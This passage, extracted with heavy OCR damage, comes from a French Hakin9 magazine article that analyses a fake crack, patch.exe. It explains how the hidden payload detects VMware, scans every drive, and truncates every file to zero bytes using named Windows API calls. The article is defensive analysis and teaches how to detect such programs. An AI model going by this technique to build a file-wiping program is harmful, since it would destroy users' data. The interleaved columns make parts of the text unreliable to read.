mentaires) n'occupe qu'un kilooctet http://lakoma.tu-cottbus.de/~herinmi/REDRAGON.HTM identificateur FileInfo,
et vous le trouverez sur le CD joint http://tinyurl.com/44ej3 diteur de ressources eXeScope,
au magazine Hakin9 Live. Dans cet http://home.t-online.de/home/Ollydbg dbogueur gratuit pour OllyDbg,
article, nous prsentons le principe http://protools.cjb.net kit d'outils ncessaires l'analyse des fichiers binaires.
gnral du fonctionnement du code

52 www.hakin9.org Hakin9 N o 1/2005


Analyse d'un programme suspect

machine virtuelle Vmware (si elle la


dtecte, le programme se termine),
l'aide de l'instruction de l'assem-

bleur in. Cette instruction peut servir
lire les donnes des ports E/S
dans notre cas, elle est responsa-
ble de la communication interne avec

les programmes de Vmware. Si elle
est excute dans un systme de la

famille Windows NT, le programme
plante (cela ne concerne pas Win-
dows 9x).
L'tape suivante consiste
charger les fonctions WinApi sup-

plmentaires utilises par le code

cach et les enregistrer dans la
structure interface. Par contre, si
toutes les adresses des procdures
sont dj charges, la procdure

scanner _ disques, vrifiant les lec-
teurs successifs, est lance (la fin du

Listing 11).

Indice scanner des disques

L'appel de la procdure scan-

ner _ disques est le premier indice
qui suggre que l'objectif du code
cach est la destruction pour-
quoi alors un prtendu crack aurait Figure 5. Schma de la procdure de scannage des disques
scann tous les lecteurs de l'ordi-
nateur ? Le scannage commence recherche seulement les partitions FindNextFile() et SetCurrentDirec-
par le disque dsign par la lettre standard des disques durs et n- tory(), scanne tout le contenu de
Y:\ et se dirige vers le dbut, le glige les lecteurs de CD-ROM ou la partition la recherche de tous
plus important pour la plupart des les disques rseau. les types de fi chiers. Nous pouvons
utilisateurs le disque C : \ . Pour Si une partition correcte est le constater d'aprs le masque *
dfinir le type du lecteur, la fonction dtecte, le scannage rcursif appliqu la procdure FindFirst-
GetDriveTypeA() est utilise. Cette de tous ses rpertoires est lanc File().
fonction, aprs la saisie de la lettre (la procdure supprimer _ fichiers
de la partition retourne son type. cf. le Listing 13). En voil en- Preuve : la mise blanc
Le code de la procdure se trouve core une preuve que nos soupons des fichiers
dans le Listing 12. Prtez votre taient justes : le scanner, l'aide Jusqu'alors, nous n'avons pu que
attention au fait que la procdure des fonctions FindFirtsFile(), souponner que le code cach dans

P U B L I C I T

Hakin9 N o 1/2005 www.hakin9.org 53


le bitmap tait dangereux. Par con- a russi, le pointeur du fi chier est perd tour tour les donnes de son
tre, le Listing 14 prouve que l'auteur dplac son dbut. disque dur.
du programme patch.exe n'avait pas Pour ce faire, la procdure utili- L'analyse de ce prtendu crack
de bonnes intentions. La procdure se la fonction SetFilePointer() dont nous a permis, heureusement sans
mettre _ a _ blanc _ taille _ fichier le paramtre FILE_BEGIN dfinit devoir lancer le fichier excutable,
est appele chaque fois que la pro- le dplacement du pointeur (dans de comprendre les principes de son
cdure supprimer _ fichiers trouve un notre cas au dbut du fi chier). fonctionnement, de rechercher le
fichier quelconque (portant un nom Aprs la confi guration du pointeur, code cach et dterminer son com-
et une extension quelconques). la fonction SetEndOfFile() est appe- portement. Les rsultats obtenus
Le fonctionnement de cette le. Cette fonction dtermine une ne laissent pas de doutes le petit
procdure est trs simple. Pour nouvelle taille du fi chier en utilisant programme patch.exe est malicieux.
chaque fi chier trouv l'aide de la position courante du pointeur la suite de son fonctionnement,
la fonction SetFileAttributesA(), dans le fi chier. tant donn que les fichiers trouvs sur toutes les
est affect l'attribut archive. Cette le pointeur a t dplac au dbut partitions changent leur taille en zro
opration supprime tous les autres du fi chier, aprs cette opration ce octets et, en effet, ils cessent d'exis-
attributs, y compris lecture seule dernier a donc zro octets. Aprs la ter. Dans le cas o nous avons des
(s'ils ont t dfinis), qui protge le mise zro, le code recommence le donnes prcieuses, la perte peut
fi chier contre l'criture. Ensuite, le scannage rcursif des rpertoires tre irrversible. n
fi chier est ouvert l'aide de la fonc- la recherche des autres fi chiers,
tion CreateFileA() et, si l'ouverture et l'utilisateur qui a lanc patch.exe



WinMain()




GetProcAddress()


DialogBoxParamA()



WaitForSingleObject()














Dfense

Figure 6. Schma du fonctionnement du programme suspect

54 www.hakin9.org Hakin9 N o 1/2005

Das könnte Ihnen auch gefallen